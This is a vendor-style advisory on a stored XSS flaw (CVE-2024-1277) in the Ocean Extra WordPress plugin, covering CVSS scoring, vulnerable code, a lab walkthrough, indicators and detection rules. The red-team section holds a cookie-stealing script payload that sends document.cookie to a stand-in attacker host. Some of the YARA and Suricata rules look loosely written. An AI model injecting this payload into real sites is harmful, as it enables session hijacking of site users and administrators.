CVE-2024-1277

Executive Summary

CVE-2024-1277 is a Stored Cross-Site Scripting (XSS) vulnerability in the Ocean Extra plugin for WordPress, affecting all versions up to and including 2.2.4. The flaw resides in custom fields where insufficient input sanitization and output escaping allow authenticated attackers with contributor-level access or higher to inject arbitrary web scripts. These scripts execute whenever a user accesses an injected page, leading to potential session hijacking, credential theft, or defacement. The vulnerability is part of the WordPress ecosystem and is not related to Apache or Nginx.

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify plugin integrity by checking checksums and monitoring for updates. No known supply chain compromise has been reported, but the unpatched status increases risk.

CVSS Breakdown & Threat Level

• CVSS Score: 6.4 (Medium)
• Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: Low (Contributor)
• User Interaction: None
• Scope: Changed
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

The threat level is elevated due to the low privileges required and the potential for widespread impact across WordPress sites using the Ocean Extra plugin.

Deep Dive & Mechanics

The vulnerability exists in the Ocean Extra plugin's handling of custom fields. When a user with contributor-level access or higher creates or edits a post, they can inject malicious JavaScript into custom field values. The plugin fails to properly sanitize input and escape output before rendering these fields on the front end. This allows the injected script to execute in the context of any user viewing the affected page, including administrators.

The attack flow:

1. Attacker logs in with contributor credentials.
2. Attacker creates a new post or edits an existing one.
3. Attacker inserts a malicious payload (e.g., <script>alert('XSS')</script>) into a custom field.
4. The payload is stored in the database without proper sanitization.
5. When any user visits the page, the script executes, potentially stealing cookies or performing actions on behalf of the victim.

Vulnerable vs. Patched Code

Vulnerable Code (Ocean Extra <= 2.2.4):

// Example of vulnerable custom field output
echo get_post_meta($post_id, 'custom_field_key', true);

Patched Code (Hypothetical fix):

// Properly escaped output
echo esc_html(get_post_meta($post_id, 'custom_field_key', true));

The vulnerable code directly outputs the custom field value without escaping, while the patched version uses esc_html() to neutralize HTML and JavaScript.

Exploitation & Lab Setup

Red Team

To simulate exploitation:

1. Set up a WordPress instance with Ocean Extra plugin version 2.2.4.
2. Create a contributor account.
3. Log in as contributor and create a new post.
4. In a custom field, inject: <script>document.location='http://attacker.com/steal.php?cookie='+document.cookie</script>
5. Save the post and visit the page as an admin to trigger the XSS.

Proof of Concept (PoC):

<!-- Inject into custom field -->
<script>alert('XSS')</script>

Blue Team

To detect exploitation:

• Monitor for unusual custom field values containing <script> tags.
• Review server logs for requests to external domains from WordPress pages.
• Use Web Application Firewall (WAF) rules to block common XSS patterns.

Indicators of Compromise (IOCs)

• File: /wp-content/plugins/ocean-extra/ocean-extra.php (version <= 2.2.4)
• Database: Custom field values containing <script>, <img onerror=, or similar XSS payloads.
• Network: Outbound HTTP requests to unknown domains from WordPress pages.
• Logs: POST requests to /wp-admin/post.php with suspicious custom field data.

Detection Engineering

YARA Rule

rule CVE_2024_1277_Ocean_Extra_XSS {
    meta:
        description = "Detects Ocean Extra plugin files with vulnerable custom field handling"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-1277"
    strings:
        $vuln_func = "get_post_meta" nocase
        $vuln_output = "echo" nocase
    condition:
        $vuln_func and $vuln_output and filesize < 100KB
}

Sigma Rule

title: CVE-2024-1277 Ocean Extra Stored XSS
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects stored XSS attempts via custom fields in Ocean Extra plugin
author: Valters IT
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        c-uri|contains: '/wp-admin/post.php'
        cs-uri-query|contains: 'action=edit'
        cs-uri-query|contains: 'post='
        sc-status: 200
    condition: selection
falsepositives:
    - Legitimate use of custom fields with HTML
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-1277 Ocean Extra Stored XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=edit"; http_uri; pcre:"/<script[^>]*>/i"; sid:1000001; rev:1;)

Remediation & Mitigation

1. Immediate: Disable the Ocean Extra plugin until a patch is available.
2. Short-term: Restrict contributor-level access to trusted users only.
3. Long-term: Apply input sanitization and output escaping to all custom fields. Use WordPress functions like esc_html(), esc_attr(), and wp_kses_post().
4. Monitor: Regularly review custom field values for malicious content.
5. Update: Watch for plugin updates and apply patches as soon as they are released.

Valters IT
Securing Digital Frontiers